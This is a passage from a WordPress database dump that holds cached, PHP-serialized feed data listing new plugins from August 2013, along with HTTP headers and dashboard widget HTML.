Shortcodes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"http://wordpress.org/plugins/post-link-shortcodes/#post-57544\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 23 Aug 2013 17:58:25 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57544@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:144:\"A plugin for dynamically adding a collection of shortcodes for building links to a given post/archive (of any type) or simply returning the URL!\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:11:\"aaemnnosttv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:4;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:22:\"Stop Comment Form Spam\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:63:\"http://wordpress.org/plugins/stop-comment-form-spam/#post-57632\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 26 Aug 2013 03:21:29 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57632@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:97:\"Removes the website url field and comment form allowed tags which attract automated comment spam.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:11:\"Brad Dalton\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:5;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:18:\"Simple Ads Posting\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:59:\"http://wordpress.org/plugins/simple-ads-posting/#post-57537\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 23 Aug 2013 14:47:19 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57537@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:110:\"a plugin to show ads of adsense, chitika ,etc then you can put it into anywhere in your posting as you wish :)\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"rosdyana.kusuma\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:19:\"Book Review Library\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"http://wordpress.org/plugins/book-review-library/#post-57551\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 24 Aug 2013 05:30:36 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57551@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:86:\"A book cataloguing and review system designed with bookophiles and librarians in mind.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"Chris Reynolds\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:7;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:26:\"Simple Mortgage Calculator\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:69:\"http://wordpress.org/plugins/mortgage-and-loan-calculator/#post-57025\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 09 Aug 2013 08:24:24 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57025@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:135:\"Let your website visitors calculate their mortgage/loan payments based upon the interest rates and loan amount entered(plugin + widget)\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:8:\"WP Cream\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:8;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:22:\"Social Exchange Plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:63:\"http://wordpress.org/plugins/social-exchange-plugin/#post-57409\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 20 Aug 2013 10:28:06 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57409@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:52:\"Get instant Facebook shares for your WordPress posts\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Social Exchange\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:9;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:17:\"Reiseblog Widgets\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"http://wordpress.org/plugins/reiseblog-widgets/#post-57546\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 23 Aug 2013 18:37:10 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57546@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:145:\"N&#252;tzliche Widgets f&#252;r deinen Reiseblog. Zeige zum Beispiel einen Reise-Countdown oder aktuelle Reiseschn&#228;ppchen in deiner Sidebar.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:10:\"Reisetiger\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:10;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:16:\"MoveOn Campaigns\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:57:\"http://wordpress.org/plugins/moveon-campaigns/#post-57540\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 23 Aug 2013 16:20:39 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57540@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:135:\"Display and sign MoveOn.org campaign petitions on your site.  Integrate directly into you theme or content, or use as a sidebar widget.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:10:\"mattoperry\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:11;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:22:\"Twitter Card Generator\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:63:\"http://wordpress.org/plugins/twitter-card-generator/#post-57452\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 21 Aug 2013 14:03:53 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57452@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:47:\"Generate Twitter Cards for tweets linking posts\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:9:\"silencecm\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:12;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:9:\"Shy Posts\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:50:\"http://wordpress.org/plugins/shy-posts/#post-57581\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sun, 25 Aug 2013 15:34:41 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57581@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:120:\"Provides a checkbox on a post admin page to allow you to say that THIS post should not appear on the homepage blog loop.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Topher\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:13;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:18:\"Quotes Everywhere!\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"http://wordpress.org/plugins/quotes-everywhere/#post-57575\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 24 Aug 2013 22:33:48 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57575@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:149:\"This plugin will get you (inspirational) quotes wherever you want them to appear on your site. Way to easy to customise! Just Copy-Paste your quotes!\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"krommesammie\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:14;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:11:\"As Heard On\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:52:\"http://wordpress.org/plugins/as-heard-on/#post-57582\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sun, 25 Aug 2013 15:43:35 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"57582@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:141:\"This plugin is built to showcase other podcasts that you&#039;ve been interviewed on. Displays podcast artwork in a widget or on a full page.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"DustinHartzler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}s:27:\"http://www.w3.org/2005/Atom\";a:1:{s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:0:\"\";s:7:\"attribs\";a:1:{s:0:\"\";a:3:{s:4:\"href\";s:41:\"http://wordpress.org/plugins/rss/view/new\";s:3:\"rel\";s:4:\"self\";s:4:\"type\";s:19:\"application/rss+xml\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}}}}}}s:4:\"type\";i:128;s:7:\"headers\";a:7:{s:6:\"server\";s:5:\"nginx\";s:4:\"date\";s:29:\"Tue, 27 Aug 2013 05:16:48 GMT\";s:12:\"content-type\";s:23:\"text/xml; charset=UTF-8\";s:10:\"connection\";s:5:\"close\";s:4:\"vary\";s:15:\"Accept-Encoding\";s:13:\"last-modified\";s:29:\"Mon, 26 Aug 2013 11:57:15 GMT\";s:4:\"x-nc\";s:11:\"HIT lax 250\";}s:5:\"build\";s:14:\"20130708114016\";}','no'),(243,'_transient_timeout_feed_mod_77fa140e07ce53fe8c87136636f83d72','1377623786','no'),(244,'_transient_feed_mod_77fa140e07ce53fe8c87136636f83d72','1377580586','no'),(245,'_transient_timeout_dash_de3249c4736ad3bd2cd29147c4a0d43e','1377623786','no'),(246,'_transient_dash_de3249c4736ad3bd2cd29147c4a0d43e','<h4>Most Popular</h4>\n<h5><a href=\'http://wordpress.org/plugins/ultimate-tinymce/\'>Ultimate TinyMCE</a></h5>&nbsp;<span>(<a href=\'plugin-install.php?tab=plugin-information&amp;plugin=ultimate-tinymce&amp;_wpnonce=39b9c2c26c&amp;TB_iframe=true&amp;width=600&amp;height=800\' class=\'thickbox\' title=\'Ultimate TinyMCE\'>Install</a>)</span>\n<p>Description: Beef up the WordPress TinyMCE content editor with a plethora of advanced options.</p>\n<h4>Newest Plugins</h4>\n<h5><a href=\'http://wordpress.org/plugins/jsonpress/\'>JSONPress</a></h5>&nbsp;<span>(<a href=\'plugin-install.php?tab=plugin-information&amp;plugin=jsonpress&amp;_wpnonce=8fd499a1df&amp;TB_iframe=true&amp;width=600&amp;height=800\' class=\'thickbox\' title=\'JSONPress\'>Install</a>)</span>\n<p>JSONPress - Allows you to request WordPress site via JSON/JSONP output.</p>\n','no'),(247,'_transient_timeout_feed_867bd5c64f85878d03a060509cd2f92c','1377623786','no'),(248,'_transient_feed_867bd5c64f85878d03a060509cd2f92c','a:4:{s:5:\"child\";a:1:{s:0:\"\";a:1:{s:3:\"rss\";a:1:{i:0;a:6:{s:4:\"data\";s:3:\"\n\n\n\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:7:\"version\";s:3:\"2.0\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:1:{s:0:\"\";a:1:{s:7:\"channel\";a:1:{i:0;a:6:{s:4:\"data\";s:61:\"\n	\n	\n	\n	\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:1:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:16:\"WordPress Planet\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://planet.wordpress.org/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"language\";a:1:{i:0;a:5:{s:4:\"data\";s:2:\"en\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:47:\"WordPress Planet - http://planet.wordpress.org/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"item\";a:50:{i:0;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	